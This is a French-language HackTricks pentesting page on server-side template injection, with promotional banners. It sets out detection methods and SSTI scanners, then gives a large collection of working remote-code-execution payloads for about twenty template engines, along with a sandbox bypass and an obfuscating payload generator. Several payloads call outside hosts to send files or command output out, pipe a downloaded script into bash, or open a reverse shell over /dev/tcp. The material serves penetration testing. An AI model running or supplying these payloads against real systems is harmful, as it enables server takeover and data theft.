hacktricks/pentesting-web/ssti-server-side-template-injection/README.md

47 KiB
Raw Blame History

SSTI (Injection de modèle côté serveur)

Apprenez le piratage AWS de zéro à héros avec htARTE (HackTricks AWS Red Team Expert)!

Autres moyens de soutenir HackTricks :

RootedCON est l'événement de cybersécurité le plus pertinent en Espagne et l'un des plus importants en Europe. Avec la mission de promouvoir la connaissance technique, ce congrès est un point de rencontre bouillonnant pour les professionnels de la technologie et de la cybersécurité dans toutes les disciplines.

{% embed url="https://www.rootedcon.com/" %}

Qu'est-ce que l'injection de modèle côté serveur ?

Une injection de modèle côté serveur se produit lorsqu'un attaquant est capable d'utiliser la syntaxe native du modèle pour injecter une charge malveillante dans un modèle, qui est ensuite exécutée côté serveur.

Les moteurs de modèles sont conçus pour générer des pages web en combinant des modèles fixes avec des données volatiles. Les attaques par injection de modèle côté serveur peuvent se produire lorsque l'entrée de l'utilisateur est concaténée directement dans un modèle, plutôt que passée en tant que données. Cela permet aux attaquants d'injecter des directives de modèle arbitraires afin de manipuler le moteur de modèle, leur permettant souvent de prendre le contrôle complet du serveur.

Un exemple de code vulnérable est le suivant :

$output = $twig->render("Dear " . $_GET['name']);

Dans l'exemple précédent, une partie du modèle est générée dynamiquement en utilisant le paramètre GET name. Comme la syntaxe du modèle est évaluée côté serveur, cela permet potentiellement à un attaquant de placer un payload d'injection de modèle côté serveur à l'intérieur du paramètre name comme suit :

http://vulnerable-website.com/?name={{bad-stuff-here}}

Construction d'une attaque par injection de modèle côté serveur

Détecter

Comme pour toute vulnérabilité, la première étape vers l'exploitation est de pouvoir la trouver. Peut-être que l'approche initiale la plus simple est d'essayer de fuzzer le modèle en injectant une séquence de caractères spéciaux couramment utilisés dans les expressions de modèle, tels que le polyglotte ${{<%[%'"}}%\.
Pour vérifier si le serveur est vulnérable, vous devez repérer les différences entre la réponse avec des données régulières sur le paramètre et le payload donné.
Si une erreur est déclenchée, il sera assez facile de déterminer que le serveur est vulnérable et même quel moteur est en cours d'exécution. Mais vous pourriez également trouver un serveur vulnérable si vous vous attendiez à ce qu'il reflète le payload donné et qu'il n'est pas reflété, ou s'il y a des caractères manquants dans la réponse.

Détecter - Contexte en texte brut

L'entrée donnée est rendue et reflétée dans la réponse. Cela est facilement confondu avec une simple vulnérabilité XSS, mais il est facile de différencier si vous essayez de définir des opérations mathématiques à l'intérieur d'une expression de modèle :

{{7*7}}
${7*7}
<%= 7*7 %>
${{7*7}}
#{7*7}
*{7*7}

Détecter - Contexte du code

Dans ces cas, l'entrée utilisateur est placée à l'intérieur d'une expression de modèle :

engine.render("Hello {{"+greeting+"}}", data)

L'accès à l'URL de cette page pourrait ressembler à : http://vulnerable-website.com/?greeting=data.username

Si vous changez le paramètre greeting pour une valeur différente, la réponse ne contiendra pas le nom d'utilisateur, mais si vous accédez à quelque chose comme : http://vulnerable-website.com/?greeting=data.username}}hello, alors, la réponse contiendra le nom d'utilisateur (si les caractères de fermeture de l'expression de template étaient }}).
Si une erreur est générée lors de ces tests, il sera plus facile de détecter que le serveur est vulnérable.

Identifier

Une fois que vous avez détecté le potentiel d'injection de template, l'étape suivante est d'identifier le moteur de template.
Bien qu'il existe un grand nombre de langages de templating, beaucoup utilisent une syntaxe très similaire qui est spécifiquement choisie pour ne pas entrer en conflit avec les caractères HTML.

Si vous avez de la chance, le serveur affichera les erreurs et vous pourrez trouver le moteur utilisé à l'intérieur des erreurs. Voici quelques charges utiles qui peuvent provoquer des erreurs :

${} {{}} <%= %>
${7/0} {{7/0}} <%= 7/0 %>
${foobar} {{foobar}} <%= foobar %>
${7*7} {{7*7}} ``

Sinon, vous devrez tester manuellement différentes charges utiles spécifiques au langage et étudier comment elles sont interprétées par le moteur de template. Une manière courante de faire cela est d'injecter des opérations mathématiques arbitraires en utilisant la syntaxe de différents moteurs de template. Vous pouvez ensuite observer si elles sont évaluées avec succès. Pour faciliter ce processus, vous pouvez utiliser un arbre de décision similaire au suivant :

Exploiter

Lire

La première étape après avoir trouvé une injection de template et identifié le moteur de template est de lire la documentation. Les domaines clés d'intérêt sont :

  • Les sections 'Pour les auteurs de templates' couvrant la syntaxe de base.
  • 'Considérations de sécurité' - il y a des chances que celui qui a développé l'application que vous testez n'ait pas lu cela, et cela peut contenir des indices utiles.
  • Listes de méthodes, fonctions, filtres et variables intégrés.
  • Listes d'extensions/plugins - certains peuvent être activés par défaut.

Explorer

En supposant qu'aucune faille ne se soit présentée, l'étape suivante est d'explorer l'environnement pour découvrir exactement à quoi vous avez accès. Vous pouvez vous attendre à trouver à la fois des objets par défaut fournis par le moteur de template, et des objets spécifiques à l'application passés dans le template par le développeur. De nombreux systèmes de template exposent un objet 'self' ou un espace de noms contenant tout ce qui est dans le scope, et une manière idiomatique de lister les attributs et méthodes d'un objet.

S'il n'y a pas d'objet self intégré, vous allez devoir forcer les noms de variables en utilisant SecLists et la collection de listes de mots de Burp Intruder.

Les objets fournis par les développeurs sont particulièrement susceptibles de contenir des informations sensibles et peuvent varier entre différents templates au sein d'une application, donc ce processus devrait idéalement être appliqué à chaque template distinct individuellement.

Attaquer

À ce stade, vous devriez avoir une idée précise de la surface d'attaque disponible et être en mesure de procéder avec les techniques d'audit de sécurité traditionnelles, en examinant chaque fonction pour des vulnérabilités exploitables. Il est important d'aborder cela dans le contexte de l'application plus large - certaines fonctions peuvent être utilisées pour exploiter des fonctionnalités spécifiques à l'application. Les exemples à suivre utiliseront l'injection de template pour déclencher la création d'objets arbitraires, la lecture/écriture de fichiers arbitraires, l'inclusion de fichiers distants, la divulgation d'informations et les vulnérabilités d'élévation de privilèges.

Outils

TInjA

un scanner efficace SSTI + CSTI qui utilise des polyglottes novateurs

tinja url -u "http://example.com/?name=Kirlia" -H "Authentication: Bearer ey..."
tinja url -u "http://example.com/" -d "username=Kirlia"  -c "PHPSESSID=ABC123..."

SSTImap

python3 sstimap.py -i -l 5
python3 sstimap.py -u "http://example.com/ --crawl 5 --forms
python3 sstimap.py -u 'https://example.com/page?name=John' -s

Tplmap

python2.7 ./tplmap.py -u 'http://www.target.com/page?name=John*' --os-shell
python2.7 ./tplmap.py -u "http://192.168.56.101:3000/ti?user=*&comment=supercomment&link"
python2.7 ./tplmap.py -u "http://192.168.56.101:3000/ti?user=InjectHere*&comment=A&link" --level 5 -e jade

Tableau d'injection de modèles

un tableau interactif contenant les polyglottes d'injection de modèles les plus efficaces ainsi que les réponses attendues des 44 moteurs de modèles les plus importants.

Exploits

Générique

Dans cette liste de mots, vous pouvez trouver des variables définies dans les environnements de certains des moteurs mentionnés ci-dessous :

Java

Java - Injection de base

${7*7}
${{7*7}}
${class.getClassLoader()}
${class.getResource("").getPath()}
${class.getResource("../../../../../index.htm").getContent()}

Java - Récupérer les variables d'environnement du système

${T(java.lang.System).getenv()}

Java - Récupérer /etc/passwd

${T(java.lang.Runtime).getRuntime().exec('cat etc/passwd')}

${T(org.apache.commons.io.IOUtils).toString(T(java.lang.Runtime).getRuntime().exec(T(java.lang.Character).toString(99).concat(T(java.lang.Character).toString(97)).concat(T(java.lang.Character).toString(116)).concat(T(java.lang.Character).toString(32)).concat(T(java.lang.Character).toString(47)).concat(T(java.lang.Character).toString(101)).concat(T(java.lang.Character).toString(116)).concat(T(java.lang.Character).toString(99)).concat(T(java.lang.Character).toString(47)).concat(T(java.lang.Character).toString(112)).concat(T(java.lang.Character).toString(97)).concat(T(java.lang.Character).toString(115)).concat(T(java.lang.Character).toString(115)).concat(T(java.lang.Character).toString(119)).concat(T(java.lang.Character).toString(100))).getInputStream())}

FreeMarker (Java)

Vous pouvez tester vos charges utiles sur https://try.freemarker.apache.org

  • {{7*7}} = {{7*7}}
  • ${7*7} = 49
  • #{7*7} = 49 -- (héritage)
  • ${7*'7'} Rien
  • ${foobar}
<#assign ex = "freemarker.template.utility.Execute"?new()>${ ex("id")}
[#assign ex = 'freemarker.template.utility.Execute'?new()]${ ex('id')}
${"freemarker.template.utility.Execute"?new()("id")}

${product.getClass().getProtectionDomain().getCodeSource().getLocation().toURI().resolve('/home/carlos/my_password.txt').toURL().openStream().readAllBytes()?join(" ")}

Freemarker - Contournement de Sandbox

⚠️ fonctionne uniquement pour les versions de Freemarker inférieures à 2.3.30

<#assign classloader=article.class.protectionDomain.classLoader>
<#assign owc=classloader.loadClass("freemarker.template.ObjectWrapper")>
<#assign dwf=owc.getField("DEFAULT_WRAPPER").get(null)>
<#assign ec=classloader.loadClass("freemarker.template.utility.Execute")>
${dwf.newInstance(ec,null)("id")}

Plus d'informations

Velocity (Java)

#set($str=$class.inspect("java.lang.String").type)
#set($chr=$class.inspect("java.lang.Character").type)
#set($ex=$class.inspect("java.lang.Runtime").type.getRuntime().exec("whoami"))
$ex.waitFor()
#set($out=$ex.getInputStream())
#foreach($i in [1..$out.available()])
$str.valueOf($chr.toChars($out.read()))
#end

Plus d'informations

Thymeleaf (Java)

L'expression de test typique pour SSTI est ${7*7}. Cette expression fonctionne également dans Thymeleaf. Si vous souhaitez réaliser une exécution de code à distance, vous pouvez utiliser l'une des expressions de test suivantes :

  • SpringEL : ${T(java.lang.Runtime).getRuntime().exec('calc')}
  • OGNL : ${#rt = @java.lang.Runtime@getRuntime(),#rt.exec("calc")}

Cependant, comme nous l'avons mentionné précédemment, les expressions ne fonctionnent que dans des attributs spéciaux de Thymeleaf. Si vous devez utiliser une expression dans un autre emplacement du modèle, Thymeleaf prend en charge l'insertion d'expressions. Pour utiliser cette fonctionnalité, vous devez placer une expression à l'intérieur de [[...]] ou [(...)] (choisissez l'un ou l'autre en fonction de la nécessité d'échapper aux symboles spéciaux). Par conséquent, un payload de détection SSTI simple pour Thymeleaf serait [[${7*7}]].

Cependant, les chances que le payload de détection ci-dessus fonctionne sont très faibles. Les vulnérabilités SSTI se produisent généralement lorsque un modèle est généré dynamiquement dans le code. Par défaut, Thymeleaf ne permet pas de tels modèles générés dynamiquement et tous les modèles doivent être créés au préalable. Par conséquent, si un développeur souhaite créer un modèle à partir d'une chaîne à la volée, il devra créer son propre TemplateResolver. C'est possible mais cela arrive très rarement.

Si nous examinons plus en détail la documentation du moteur de modèles Thymeleaf, nous trouverons une fonctionnalité intéressante appelée prétraitement des expressions. Les expressions placées entre doubles underscores (__...__) sont prétraitées et le résultat du prétraitement est utilisé comme partie de l'expression pendant le traitement régulier. Voici un exemple officiel de la documentation Thymeleaf :

#{selection.__${sel.code}__}

Exemple vulnérable

<a th:href="@{__${path}__}" th:title="${title}">
<a th:href="${''.getClass().forName('java.lang.Runtime').getRuntime().exec('curl -d @/flag.txt burpcollab.com')}" th:title='pepito'>

http://localhost:8082/(7*7)
http://localhost:8082/(${T(java.lang.Runtime).getRuntime().exec('calc')})

Plus d'informations

{% content-ref url="el-expression-language.md" %} el-expression-language.md {% endcontent-ref %}

Spring Framework (Java)

*{T(org.apache.commons.io.IOUtils).toString(T(java.lang.Runtime).getRuntime().exec('id').getInputStream())}

Contourner les filtres

Plusieurs expressions de variables peuvent être utilisées, si ${...} ne fonctionne pas essayez #{...}, *{...}, @{...} ou ~{...}.

  • Lire /etc/passwd
${T(org.apache.commons.io.IOUtils).toString(T(java.lang.Runtime).getRuntime().exec(T(java.lang.Character).toString(99).concat(T(java.lang.Character).toString(97)).concat(T(java.lang.Character).toString(116)).concat(T(java.lang.Character).toString(32)).concat(T(java.lang.Character).toString(47)).concat(T(java.lang.Character).toString(101)).concat(T(java.lang.Character).toString(116)).concat(T(java.lang.Character).toString(99)).concat(T(java.lang.Character).toString(47)).concat(T(java.lang.Character).toString(112)).concat(T(java.lang.Character).toString(97)).concat(T(java.lang.Character).toString(115)).concat(T(java.lang.Character).toString(115)).concat(T(java.lang.Character).toString(119)).concat(T(java.lang.Character).toString(100))).getInputStream())}
  • Script personnalisé pour la génération de payload
#!/usr/bin/python3

## Written By Zeyad Abulaban (zAbuQasem)
# Usage: python3 gen.py "id"

from sys import argv

cmd = list(argv[1].strip())
print("Payload: ", cmd , end="\n\n")
converted = [ord(c) for c in cmd]
base_payload = '*{T(org.apache.commons.io.IOUtils).toString(T(java.lang.Runtime).getRuntime().exec'
end_payload = '.getInputStream())}'

count = 1
for i in converted:
if count == 1:
base_payload += f"(T(java.lang.Character).toString({i}).concat"
count += 1
elif count == len(converted):
base_payload += f"(T(java.lang.Character).toString({i})))"
else:
base_payload += f"(T(java.lang.Character).toString({i})).concat"
count += 1

print(base_payload + end_payload)

Plus d'informations

Manipulation de vue Spring (Java)

__${new java.util.Scanner(T(java.lang.Runtime).getRuntime().exec("id").getInputStream()).next()}__::.x
__${T(java.lang.Runtime).getRuntime().exec("touch executed")}__::.x

{% content-ref url="el-expression-language.md" %} el-expression-language.md {% endcontent-ref %}

Pebble (Java)

  • {{ someString.toUPPERCASE() }}

Ancienne version de Pebble ( < version 3.0.9):

{{ variable.getClass().forName('java.lang.Runtime').getRuntime().exec('ls -la') }}

Nouvelle version de Pebble :

{% raw %}
{% set cmd = 'id' %}
{% endraw %}





{% set bytes = (1).TYPE
.forName('java.lang.Runtime')
.methods[6]
.invoke(null,null)
.exec(cmd)
.inputStream
.readAllBytes() %}
{{ (1).TYPE
.forName('java.lang.String')
.constructors[0]
.newInstance(([bytes]).toArray()) }}

Jinjava (Java)

{{'a'.toUpperCase()}} would result in 'A'
{{ request }} would return a request object like com.[...].context.TemplateContextRequest@23548206

Jinjava est un projet open source développé par Hubspot, disponible sur https://github.com/HubSpot/jinjava/

Jinjava - Exécution de commande

Corrigé par https://github.com/HubSpot/jinjava/pull/230

{{'a'.getClass().forName('javax.script.ScriptEngineManager').newInstance().getEngineByName('JavaScript').eval(\"new java.lang.String('xxx')\")}}

{{'a'.getClass().forName('javax.script.ScriptEngineManager').newInstance().getEngineByName('JavaScript').eval(\"var x=new java.lang.ProcessBuilder; x.command(\\\"whoami\\\"); x.start()\")}}

{{'a'.getClass().forName('javax.script.ScriptEngineManager').newInstance().getEngineByName('JavaScript').eval(\"var x=new java.lang.ProcessBuilder; x.command(\\\"netstat\\\"); org.apache.commons.io.IOUtils.toString(x.start().getInputStream())\")}}

{{'a'.getClass().forName('javax.script.ScriptEngineManager').newInstance().getEngineByName('JavaScript').eval(\"var x=new java.lang.ProcessBuilder; x.command(\\\"uname\\\",\\\"-a\\\"); org.apache.commons.io.IOUtils.toString(x.start().getInputStream())\")}}

Plus d'informations

Hubspot - HuBL (Java)

  • {% %} délimiteurs d'instructions
  • {{ }} délimiteurs d'expressions
  • {# #} délimiteurs de commentaires
  • {{ request }} - com.hubspot.content.hubl.context.TemplateContextRequest@23548206
  • {{'a'.toUpperCase()}} - "A"
  • {{'a'.concat('b')}} - "ab"
  • {{'a'.getClass()}} - java.lang.String
  • {{request.getClass()}} - class com.hubspot.content.hubl.context.TemplateContextRequest
  • {{request.getClass().getDeclaredMethods()[0]}} - public boolean com.hubspot.content.hubl.context.TemplateContextRequest.isDebug()

Recherchez "com.hubspot.content.hubl.context.TemplateContextRequest" et découvrez le projet Jinjava sur Github.

{{request.isDebug()}}
//output: False

//Using string 'a' to get an instance of class sun.misc.Launcher
{{'a'.getClass().forName('sun.misc.Launcher').newInstance()}}
//output: sun.misc.Launcher@715537d4

//It is also possible to get a new object of the Jinjava class
{{'a'.getClass().forName('com.hubspot.jinjava.JinjavaConfig').newInstance()}}
//output: com.hubspot.jinjava.JinjavaConfig@78a56797

//It was also possible to call methods on the created object by combining the







{% raw %}
{% %} and {{ }} blocks
{% set ji='a'.getClass().forName('com.hubspot.jinjava.Jinjava').newInstance().newInterpreter() %}
{% endraw %}


{{ji.render('{{1*2}}')}}
//Here, I created a variable 'ji' with new instance of com.hubspot.jinjava.Jinjava class and obtained reference to the newInterpreter method. In the next block, I called the render method on 'ji' with expression {{1*2}}.

//{{'a'.getClass().forName('javax.script.ScriptEngineManager').newInstance().getEngineByName('JavaScript').eval(\"new java.lang.String('xxx')\")}}
//output: xxx

//RCE
{{'a'.getClass().forName('javax.script.ScriptEngineManager').newInstance().getEngineByName('JavaScript').eval(\"var x=new java.lang.ProcessBuilder; x.command(\\\"whoami\\\"); x.start()\")}}
//output: java.lang.UNIXProcess@1e5f456e

//RCE with org.apache.commons.io.IOUtils.
{{'a'.getClass().forName('javax.script.ScriptEngineManager').newInstance().getEngineByName('JavaScript').eval(\"var x=new java.lang.ProcessBuilder; x.command(\\\"netstat\\\"); org.apache.commons.io.IOUtils.toString(x.start().getInputStream())\")}}
//output: netstat execution

//Multiple arguments to the commands
Payload: {{'a'.getClass().forName('javax.script.ScriptEngineManager').newInstance().getEngineByName('JavaScript').eval(\"var x=new java.lang.ProcessBuilder; x.command(\\\"uname\\\",\\\"-a\\\"); org.apache.commons.io.IOUtils.toString(x.start().getInputStream())\")}}
//Output: Linux bumpy-puma 4.9.62-hs4.el6.x86_64 #1 SMP Fri Jun 1 03:00:47 UTC 2018 x86_64 x86_64 x86_64 GNU/Linux

Plus d'informations

Expression Language - EL (Java)

  • ${"aaaa"} - "aaaa"
  • ${99999+1} - 100000.
  • #{7*7} - 49
  • ${{7*7}} - 49
  • ${{request}}, ${{session}}, {{faceContext}}

EL fournit un mécanisme important pour permettre à la couche de présentation (pages web) de communiquer avec la logique d'application (managed beans). EL est utilisé par plusieurs technologies JavaEE, telles que la technologie JavaServer Faces, la technologie JavaServer Pages (JSP) et l'injection de dépendances et de contextes pour Java EE (CDI).
Consultez la page suivante pour en savoir plus sur l'exploitation des interprètes EL :

{% content-ref url="el-expression-language.md" %} el-expression-language.md {% endcontent-ref %}

Groovy (Java)

Cette méthode de contournement du Security Manager a été prise de ce compte-rendu.

//Basic Payload
import groovy.*;
@groovy.transform.ASTTest(value={
cmd = "ping cq6qwx76mos92gp9eo7746dmgdm5au.burpcollaborator.net "
assert java.lang.Runtime.getRuntime().exec(cmd.split(" "))
})
def x

//Payload to get output
import groovy.*;
@groovy.transform.ASTTest(value={
cmd = "whoami";
out = new java.util.Scanner(java.lang.Runtime.getRuntime().exec(cmd.split(" ")).getInputStream()).useDelimiter("\\A").next()
cmd2 = "ping " + out.replaceAll("[^a-zA-Z0-9]","") + ".cq6qwx76mos92gp9eo7746dmgdm5au.burpcollaborator.net";
java.lang.Runtime.getRuntime().exec(cmd2.split(" "))
})
def x

//Other payloads
new groovy.lang.GroovyClassLoader().parseClass("@groovy.transform.ASTTest(value={assert java.lang.Runtime.getRuntime().exec(\"calc.exe\")})def x")
this.evaluate(new String(java.util.Base64.getDecoder().decode("QGdyb292eS50cmFuc2Zvcm0uQVNUVGVzdCh2YWx1ZT17YXNzZXJ0IGphdmEubGFuZy5SdW50aW1lLmdldFJ1bnRpbWUoKS5leGVjKCJpZCIpfSlkZWYgeA==")))
this.evaluate(new String(new byte[]{64, 103, 114, 111, 111, 118, 121, 46, 116, 114, 97, 110, 115, 102, 111, 114, 109, 46, 65, 83, 84, 84, 101, 115, 116, 40, 118, 97, 108, 117, 101, 61, 123, 97, 115, 115, 101, 114, 116, 32, 106, 97, 118, 97, 46, 108, 97, 110, 103, 46, 82, 117, 110, 116, 105, 109, 101, 46, 103, 101, 116, 82,117, 110, 116, 105, 109, 101, 40, 41, 46, 101, 120, 101, 99, 40, 34, 105, 100, 34, 41, 125, 41, 100, 101, 102, 32, 120}))

RootedCON est l'événement de cybersécurité le plus pertinent en Espagne et l'un des plus importants en Europe. Avec la mission de promouvoir le savoir-faire technique, ce congrès est un point de rencontre incontournable pour les professionnels de la technologie et de la cybersécurité dans toutes les disciplines.

{% embed url="https://www.rootedcon.com/" %}

Smarty (PHP)

{$smarty.version}
{php}echo `id`;{/php} //deprecated in smarty v3
{Smarty_Internal_Write_File::writeFile($SCRIPT_NAME,"<?php passthru($_GET['cmd']); ?>",self::clearConfig())}
{system('ls')} // compatible v3
{system('cat index.php')} // compatible v3

Plus d'informations

Twig (PHP)

  • {{7*7}} = 49
  • ${7*7} = ${7*7}
  • {{7*'7'}} = 49
  • {{1/0}} = Erreur
  • {{foobar}} Rien
#Get Info
{{_self}} #(Ref. to current application)
{{_self.env}}
{{dump(app)}}
{{app.request.server.all|join(',')}}

#File read
"{{'/etc/passwd'|file_excerpt(1,30)}}"@

#Exec code
{{_self.env.setCache("ftp://attacker.net:2121")}}{{_self.env.loadTemplate("backdoor")}}
{{_self.env.registerUndefinedFilterCallback("exec")}}{{_self.env.getFilter("id")}}
{{_self.env.registerUndefinedFilterCallback("system")}}{{_self.env.getFilter("whoami")}}
{{_self.env.registerUndefinedFilterCallback("system")}}{{_self.env.getFilter("id;uname -a;hostname")}}
{{['id']|filter('system')}}
{{['cat\x20/etc/passwd']|filter('system')}}
{{['cat$IFS/etc/passwd']|filter('system')}}
{{['id',""]|sort('system')}}

#Hide warnings and errors for automatic exploitation
{{["error_reporting", "0"]|sort("ini_set")}}

Twig - Format de modèle

$output = $twig > render (
'Dear' . $_GET['custom_greeting'],
array("first_name" => $user.first_name)
);

$output = $twig > render (
"Dear {first_name}",
array("first_name" => $user.first_name)
);

Plus d'informations

Plates (PHP)

Plates s'inspire de Twig mais est un moteur de template PHP natif au lieu d'un moteur de template compilé.

contrôleur :

// Create new Plates instance
$templates = new League\Plates\Engine('/path/to/templates');

// Render a template
echo $templates->render('profile', ['name' => 'Jonathan']);

modèle de page :

<?php $this->layout('template', ['title' => 'User Profile']) ?>

<h1>User Profile</h1>
<p>Hello, <?=$this->e($name)?></p>

mise en page du modèle :

<html>
<head>
<title><?=$this->e($title)?></title>
</head>
<body>
<?=$this->section('content')?>
</body>
</html>

PHPlib et HTML_Template_PHPLIB (PHP)

HTML_Template_PHPLIB est identique à PHPlib mais porté sur Pear.

authors.tpl

<html>
<head><title>{PAGE_TITLE}</title></head>
<body>
<table>
<caption>Authors</caption>
<thead>
<tr><th>Name</th><th>Email</th></tr>
</thead>
<tfoot>
<tr><td colspan="2">{NUM_AUTHORS}</td></tr>
</tfoot>
<tbody>
<!-- BEGIN authorline -->
<tr><td>{AUTHOR_NAME}</td><td>{AUTHOR_EMAIL}</td></tr>
<!-- END authorline -->
</tbody>
</table>
</body>
</html>

authors.php

<?php
//we want to display this author list
$authors = array(
'Christian Weiske'  => 'cweiske@php.net',
'Bjoern Schotte'     => 'schotte@mayflower.de'
);

require_once 'HTML/Template/PHPLIB.php';
//create template object
$t =& new HTML_Template_PHPLIB(dirname(__FILE__), 'keep');
//load file
$t->setFile('authors', 'authors.tpl');
//set block
$t->setBlock('authors', 'authorline', 'authorline_ref');

//set some variables
$t->setVar('NUM_AUTHORS', count($authors));
$t->setVar('PAGE_TITLE', 'Code authors as of ' . date('Y-m-d'));

//display the authors
foreach ($authors as $name => $email) {
$t->setVar('AUTHOR_NAME', $name);
$t->setVar('AUTHOR_EMAIL', $email);
$t->parse('authorline_ref', 'authorline', true);
}

//finish and echo
echo $t->finish($t->parse('OUT', 'authors'));
?>

Jade (NodeJS)

- var x = root.process
- x = x.mainModule.require
- x = x('child_process')
= x.exec('id | nc attacker.net 80')
#{root.process.mainModule.require('child_process').spawnSync('cat', ['/etc/passwd']).stdout}

Plus d'informations

patTemplate (PHP)

patTemplate est un moteur de template PHP non-compilant, qui utilise des balises XML pour diviser un document en différentes parties

<patTemplate:tmpl name="page">
This is the main page.
<patTemplate:tmpl name="foo">
It contains another template.
</patTemplate:tmpl>
<patTemplate:tmpl name="hello">
Hello {NAME}.<br/>
</patTemplate:tmpl>
</patTemplate:tmpl>

Handlebars (NodeJS)

Path Traversal (plus d'infos ici).

curl -X 'POST' -H 'Content-Type: application/json' --data-binary $'{\"profile\":{"layout\": \"./../routes/index.js\"}}' 'http://ctf.shoebpatel.com:9090/'
  • = Erreur
  • ${7*7} = ${7*7}
  • Rien
{{#with "s" as |string|}}
{{#with "e"}}
{{#with split as |conslist|}}
{{this.pop}}
{{this.push (lookup string.sub "constructor")}}
{{this.pop}}
{{#with string.split as |codelist|}}
{{this.pop}}
{{this.push "return require('child_process').exec('whoami');"}}
{{this.pop}}
{{#each conslist}}
{{#with (string.sub.apply 0 codelist)}}
{{this}}
{{/with}}
{{/each}}
{{/with}}
{{/with}}
{{/with}}
{{/with}}

URLencoded:
%7B%7B%23with%20%22s%22%20as%20%7Cstring%7C%7D%7D%0D%0A%20%20%7B%7B%23with%20%22e%22%7D%7D%0D%0A%20%20%20%20%7B%7B%23with%20split%20as%20%7Cconslist%7C%7D%7D%0D%0A%20%20%20%20%20%20%7B%7Bthis%2Epop%7D%7D%0D%0A%20%20%20%20%20%20%7B%7Bthis%2Epush%20%28lookup%20string%2Esub%20%22constructor%22%29%7D%7D%0D%0A%20%20%20%20%20%20%7B%7Bthis%2Epop%7D%7D%0D%0A%20%20%20%20%20%20%7B%7B%23with%20string%2Esplit%20as%20%7Ccodelist%7C%7D%7D%0D%0A%20%20%20%20%20%20%20%20%7B%7Bthis%2Epop%7D%7D%0D%0A%20%20%20%20%20%20%20%20%7B%7Bthis%2Epush%20%22return%20require%28%27child%5Fprocess%27%29%2Eexec%28%27whoami%27%29%3B%22%7D%7D%0D%0A%20%20%20%20%20%20%20%20%7B%7Bthis%2Epop%7D%7D%0D%0A%20%20%20%20%20%20%20%20%7B%7B%23each%20conslist%7D%7D%0D%0A%20%20%20%20%20%20%20%20%20%20%7B%7B%23with%20%28string%2Esub%2Eapply%200%20codelist%29%7D%7D%0D%0A%20%20%20%20%20%20%20%20%20%20%20%20%7B%7Bthis%7D%7D%0D%0A%20%20%20%20%20%20%20%20%20%20%7B%7B%2Fwith%7D%7D%0D%0A%20%20%20%20%20%20%20%20%7B%7B%2Feach%7D%7D%0D%0A%20%20%20%20%20%20%7B%7B%2Fwith%7D%7D%0D%0A%20%20%20%20%7B%7B%2Fwith%7D%7D%0D%0A%20%20%7B%7B%2Fwith%7D%7D%0D%0A%7B%7B%2Fwith%7D%7D

Plus d'informations

JsRender (NodeJS)

Modèle Description
Évaluer et rendre le résultat
Évaluer et rendre le résultat avec encodage HTML
Commentaire
and Permettre le code (désactivé par défaut)
  • = 49

Côté Client

{{:%22test%22.toString.constructor.call({},%22alert(%27xss%27)%22)()}}

Côté Serveur

{{:"pwnd".toString.constructor.call({},"return global.process.mainModule.constructor._load('child_process').execSync('cat /etc/passwd').toString()")()}}

Plus d'informations

PugJs (NodeJS)

  • #{7*7} = 49
  • #{function(){localLoad=global.process.mainModule.constructor._load;sh=localLoad("child_process").exec('touch /tmp/pwned.txt')}()}
  • #{function(){localLoad=global.process.mainModule.constructor._load;sh=localLoad("child_process").exec('curl 10.10.14.3:8001/s.sh | bash')}()}

Exemple de rendu côté serveur

var pugjs = require('pug');
home = pugjs.render(injected_page)

Plus d'informations

NUNJUCKS (NodeJS)

  • {{7*7}} = 49
  • {{foo}} = Pas de sortie
  • #{7*7} = #{7*7}
  • {{console.log(1)}} = Erreur
{{range.constructor("return global.process.mainModule.require('child_process').execSync('tail /etc/passwd')")()}}
{{range.constructor("return global.process.mainModule.require('child_process').execSync('bash -c \"bash -i >& /dev/tcp/10.10.14.11/6767 0>&1\"')")()}}

Plus d'informations

ERB (Ruby)

  • {{7*7}} = {{7*7}}
  • ${7*7} = ${7*7}
  • <%= 7*7 %> = 49
  • <%= foobar %> = Erreur
<%= system("whoami") %> #Execute code
<%= Dir.entries('/') %> #List folder
<%= File.open('/etc/passwd').read %> #Read file

<%= system('cat /etc/passwd') %>
<%= `ls /` %>
<%= IO.popen('ls /').readlines()  %>
<% require 'open3' %><% @a,@b,@c,@d=Open3.popen3('whoami') %><%= @b.readline()%>
<% require 'open4' %><% @a,@b,@c,@d=Open4.popen4('whoami') %><%= @c.readline()%>

Plus d'informations

Slim (Ruby)

  • { 7 * 7 }
{ %x|env| }

Plus d'informations

Python

Consultez la page suivante pour apprendre des astuces sur l'exécution de commandes arbitraires contournant les sandbox en python :

{% content-ref url="../../generic-methodologies-and-resources/python/bypass-python-sandboxes/" %} bypass-python-sandboxes {% endcontent-ref %}

Tornado (Python)

  • {{7*7}} = 49
  • ${7*7} = ${7*7}
  • {{foobar}} = Erreur
  • {{7*'7'}} = 7777777
{% raw %}
{% import foobar %} = Error
{% import os %}

{% import os %}
{% endraw %}







{{os.system('whoami')}}
{{os.system('whoami')}}

Plus d'informations

Jinja2 (Python)

Site officiel

Jinja2 est un moteur de template complet pour Python. Il prend entièrement en charge l'unicode, dispose d'un environnement d'exécution optionnel intégré et sécurisé, est largement utilisé et sous licence BSD.

  • {{7*7}} = Erreur
  • ${7*7} = ${7*7}
  • {{foobar}} Rien
  • {{4*4}}[[5*5]]
  • {{7*'7'}} = 7777777
  • {{config}}
  • {{config.items()}}
  • {{settings.SECRET_KEY}}
  • {{settings}}
  • <div data-gb-custom-block data-tag="debug"></div>
{% raw %}
{% debug %}
{% endraw %}






{{settings.SECRET_KEY}}
{{4*4}}[[5*5]]
{{7*'7'}} would result in 7777777

Jinja2 - Format de modèle

{% raw %}
{% extends "layout.html" %}
{% block body %}
<ul>
{% for user in users %}
<li><a href="{{ user.url }}">{{ user.username }}</a></li>
{% endfor %}
</ul>
{% endblock %}
{% endraw %}


Exécution de code à distance non dépendante de __builtins__:

{{ self._TemplateReference__context.cycler.__init__.__globals__.os.popen('id').read() }}
{{ self._TemplateReference__context.joiner.__init__.__globals__.os.popen('id').read() }}
{{ self._TemplateReference__context.namespace.__init__.__globals__.os.popen('id').read() }}

# Or in the shotest versions:
{{ cycler.__init__.__globals__.os.popen('id').read() }}
{{ joiner.__init__.__globals__.os.popen('id').read() }}
{{ namespace.__init__.__globals__.os.popen('id').read() }}

Plus de détails sur comment exploiter Jinja :

{% content-ref url="jinja2-ssti.md" %} jinja2-ssti.md {% endcontent-ref %}

Mako (Python)

<%
import os
x=os.popen('id').read()
%>
${x}

Razor (.Net)

  • @(2+2) <= Succès
  • @() <= Succès
  • @("{{code}}") <= Succès
